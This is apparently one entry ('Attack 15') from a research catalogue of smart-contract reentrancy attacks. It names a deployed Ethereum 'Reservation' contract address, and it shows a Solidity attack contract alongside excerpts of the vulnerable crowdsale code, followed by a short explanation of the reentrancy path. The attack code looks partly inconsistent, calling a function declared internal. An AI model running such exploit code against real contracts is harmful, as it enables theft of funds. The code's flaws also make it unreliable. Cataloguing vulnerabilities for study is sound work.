Attack 15ΒΆ

Contract Name

Reservation

Contract Address

0xf4861b23d0cbf1cf6a3ffb6fe3ac987e87fc1168

Transaction Count

1

Invovled Ethers

0 Ethers

Length of the Call Chain

1 internal function, 1 external function

Victim Function

releaseTokensTo

Attack Mechanisim

Attack code:

contract Attack is UacCrowdsale{
    CrowdsaleBase c = new CrowdsaleBase();

    constructor() payable {}

    function prepare() {
        c.setCrowdsale(this);
    }

    function mintReservationTokens(address to, uint256 amount) public {
        c.releaseTokensTo(this);
    }

    function() payable {}

    function getvalue() returns (uint) {
        return this.balance;
    }
}

contract UacCrowdsale {}

Attacked code:

contract CrowdsaleBase {
    ...
    function releaseTokensTo(address buyer) internal returns(bool) {
        require(validPurchase());

        uint256 overflowTokens;
        uint256 refundWeiAmount;

        uint256 weiAmount = msg.value;
        uint256 tokenAmount = weiAmount.mul(price());

        if (tokenAmount >= availableTokens) {
            capReached = true;
            overflowTokens = tokenAmount.sub(availableTokens);
            tokenAmount = tokenAmount.sub(overflowTokens);
            refundWeiAmount = overflowTokens.div(price());
            weiAmount = weiAmount.sub(refundWeiAmount);
            buyer.transfer(refundWeiAmount);
        }

        weiRaised = weiRaised.add(weiAmount);
        tokensSold = tokensSold.add(tokenAmount);
        availableTokens = availableTokens.sub(tokenAmount);
        mintTokens(buyer, tokenAmount);
        forwardFunds(weiAmount);

        return true;
    }

    ...

    function mintTokens(address to, uint256 amount) private {
        crowdsale.mintReservationTokens(to, amount);
    }

    function setCrowdsale(address _crowdsale) public {
        require(crowdsale == address(0));
        crowdsale = UacCrowdsale(_crowdsale);
    }

    ...

}

In this case, the attacker can lauch reentrancy attack by calling crowdsale.mintReservationTokens(to, amount). We firstly reset the address variable crowdsale. Then we need to call victim function mintTokens to start attack. This can not be done directly, since the function mintToken is a private function (i.e. this function can only accessed by self-functions). However, mintTokens is called in a public function releaseTokensTo. If the attacker call the public function first, and pass all conditions until the call statement, he succeeds.

Attack. The attacker call prepare to reset the value of crowdsale then call mintReservationTokens to attack victim.